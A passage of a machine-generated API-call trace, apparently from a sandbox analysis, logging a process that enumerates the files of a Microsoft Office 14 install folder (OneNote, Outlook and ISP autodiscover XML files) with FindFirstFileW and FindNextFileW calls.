nFileSizeLow=0x2580, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote.gpd", cAlternateFileName="SENDTO~1.GPD")) returned 1 [0205.941] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d77db00, ftCreationTime.dwHighDateTime=0x1c8e25a, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d77db00, ftLastWriteTime.dwHighDateTime=0x1c8e25a, nFileSizeHigh=0x0, nFileSizeLow=0x7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote.ini", cAlternateFileName="SENDTO~1.INI")) returned 1 [0205.941] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1bf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNOteFilter.dll", cAlternateFileName="SENDTO~1.DLL")) returned 1 [0205.941] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b7d200, ftCreationTime.dwHighDateTime=0x1c8edfe, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf5b7d200, ftLastWriteTime.dwHighDateTime=0x1c8edfe, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendtoOneNoteFilter.gpd", cAlternateFileName="SENDTO~2.GPD")) returned 1 [0205.942] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a1fd700, ftCreationTime.dwHighDateTime=0x1c8e624, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a1fd700, ftLastWriteTime.dwHighDateTime=0x1c8e624, nFileSizeHigh=0x0, nFileSizeLow=0x1ca2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteNames.gpd", cAlternateFileName="SENDTO~3.GPD")) returned 1 [0205.942] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xeb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteUI.dll", cAlternateFileName="SENDTO~2.DLL")) returned 1 [0205.942] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xeb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteUI.dll", cAlternateFileName="SENDTO~2.DLL")) returned 0 [0205.942] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0205.943] GetProcessHeap () returned 0x550000 [0205.943] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0205.943] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ccd00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c5ccd00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0x208560, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0205.943] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde807b00, ftCreationTime.dwHighDateTime=0x1ca1b0c, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde807b00, ftLastWriteTime.dwHighDateTime=0x1ca1b0c, nFileSizeHigh=0x0, nFileSizeLow=0x138f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTEIRM.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0205.943] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x3bd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTEM.EXE", cAlternateFileName="")) returned 1 [0205.943] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x26d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTEMANAGED.DLL", cAlternateFileName="ONENOT~1.DLL")) returned 1 [0205.943] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ccd00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6bf42cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c5ccd00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0x182970, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONFILTER.DLL", cAlternateFileName="")) returned 1 [0205.944] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6bf68e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x135a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONLNTCOMLIB.DLL", cAlternateFileName="ONLNTC~1.DLL")) returned 1 [0205.944] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8dfa00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6c157ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d8dfa00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0xd3e368, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONMAIN.DLL", cAlternateFileName="")) returned 1 [0205.944] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x598184b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xa8180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONPPTAddin.dll", cAlternateFileName="ONPPTA~1.DLL")) returned 1 [0205.944] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x59864770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xb9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONWordAddin.dll", cAlternateFileName="ONWORD~1.DLL")) returned 1 [0205.944] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd041f000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x1bbb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHART.DLL", cAlternateFileName="")) returned 1 [0205.944] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0491420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xaeb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHWIZ.DLL", cAlternateFileName="")) returned 1 [0205.944] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd64609a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x14590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGWIZ.EXE", cAlternateFileName="")) returned 1 [0205.944] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd64d2dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x6a798, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORMELEMS.DLL", cAlternateFileName="")) returned 1 [0205.944] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x830db760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x11990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORMMODEL.MDL", cAlternateFileName="")) returned 1 [0205.945] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eac400, ftCreationTime.dwHighDateTime=0x1cabc89, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eac400, ftLastWriteTime.dwHighDateTime=0x1cabc89, nFileSizeHigh=0x0, nFileSizeLow=0x3d05, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.HTM", cAlternateFileName="")) returned 1 [0205.945] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eac400, ftCreationTime.dwHighDateTime=0x1cabc89, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eac400, ftLastWriteTime.dwHighDateTime=0x1cabc89, nFileSizeHigh=0x0, nFileSizeLow=0xc119, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.VBS", cAlternateFileName="")) returned 1 [0205.945] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xa160, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLACCT.DLL", cAlternateFileName="")) returned 1 [0205.945] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7df9900, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7df9900, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x28960, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLCTL.DLL", cAlternateFileName="")) returned 1 [0205.945] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc37fa400, ftCreationTime.dwHighDateTime=0x1ca0b28, ftLastAccessTime.dwLowDateTime=0x6c393490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc37fa400, ftLastWriteTime.dwHighDateTime=0x1ca0b28, nFileSizeHigh=0x0, nFileSizeLow=0x380000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLFLTR.DAT", cAlternateFileName="")) returned 1 [0205.945] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eeae600, ftCreationTime.dwHighDateTime=0x1ca5083, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3eeae600, ftLastWriteTime.dwHighDateTime=0x1ca5083, nFileSizeHigh=0x0, nFileSizeLow=0xab940, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLFLTR.DLL", cAlternateFileName="")) returned 1 [0205.945] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x599bb3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xaff88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLMIME.DLL", cAlternateFileName="")) returned 1 [0205.945] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6cc5a5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x175ed60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.EXE", cAlternateFileName="")) returned 1 [0205.945] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d147f00, ftCreationTime.dwHighDateTime=0x1cac9af, ftLastAccessTime.dwLowDateTime=0x6cc5a5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d147f00, ftLastWriteTime.dwHighDateTime=0x1cac9af, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.EXE.MANIFEST", cAlternateFileName="OUTLOO~1.MAN")) returned 1 [0205.945] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookAutoDiscover", cAlternateFileName="OUTLOO~1")) returned 1 [0205.946] GetProcessHeap () returned 0x550000 [0205.946] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0205.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0205.948] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0205.950] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMERITECH.NET.XML", cAlternateFileName="AMERIT~1.XML")) returned 1 [0205.950] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="BTINTERNET.NET.XML", cAlternateFileName="BTINTE~1.XML")) returned 1 [0205.950] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x51b201b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="BTOPENWORLD.COM.XML", cAlternateFileName="BTOPEN~1.XML")) returned 1 [0205.950] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x52837ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLASH.NET.XML", cAlternateFileName="FLASHN~1.XML")) returned 1 [0205.950] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL.ROGERS.COM.XML", cAlternateFileName="NLROGE~1.XML")) returned 1 [0205.950] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NVBELL.NET.XML", cAlternateFileName="NVBELL~1.XML")) returned 1 [0205.950] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PACBELL.NET.XML", cAlternateFileName="PACBEL~1.XML")) returned 1 [0205.950] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRODIGY.NET.XML", cAlternateFileName="PRODIG~1.XML")) returned 1 [0205.950] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROGERS.COM.XML", cAlternateFileName="ROGERS~1.XML")) returned 1 [0205.951] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="SBCGLOBAL.NET.XML", cAlternateFileName="SBCGLO~1.XML")) returned 1 [0205.951] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="SNET.NET.XML", cAlternateFileName="SNETNE~1.XML")) returned 1 [0205.951] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SWBELL.NET.XML", cAlternateFileName="SWBELL~1.XML")) returned 1 [0205.951] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="TALK21.COM.XML", 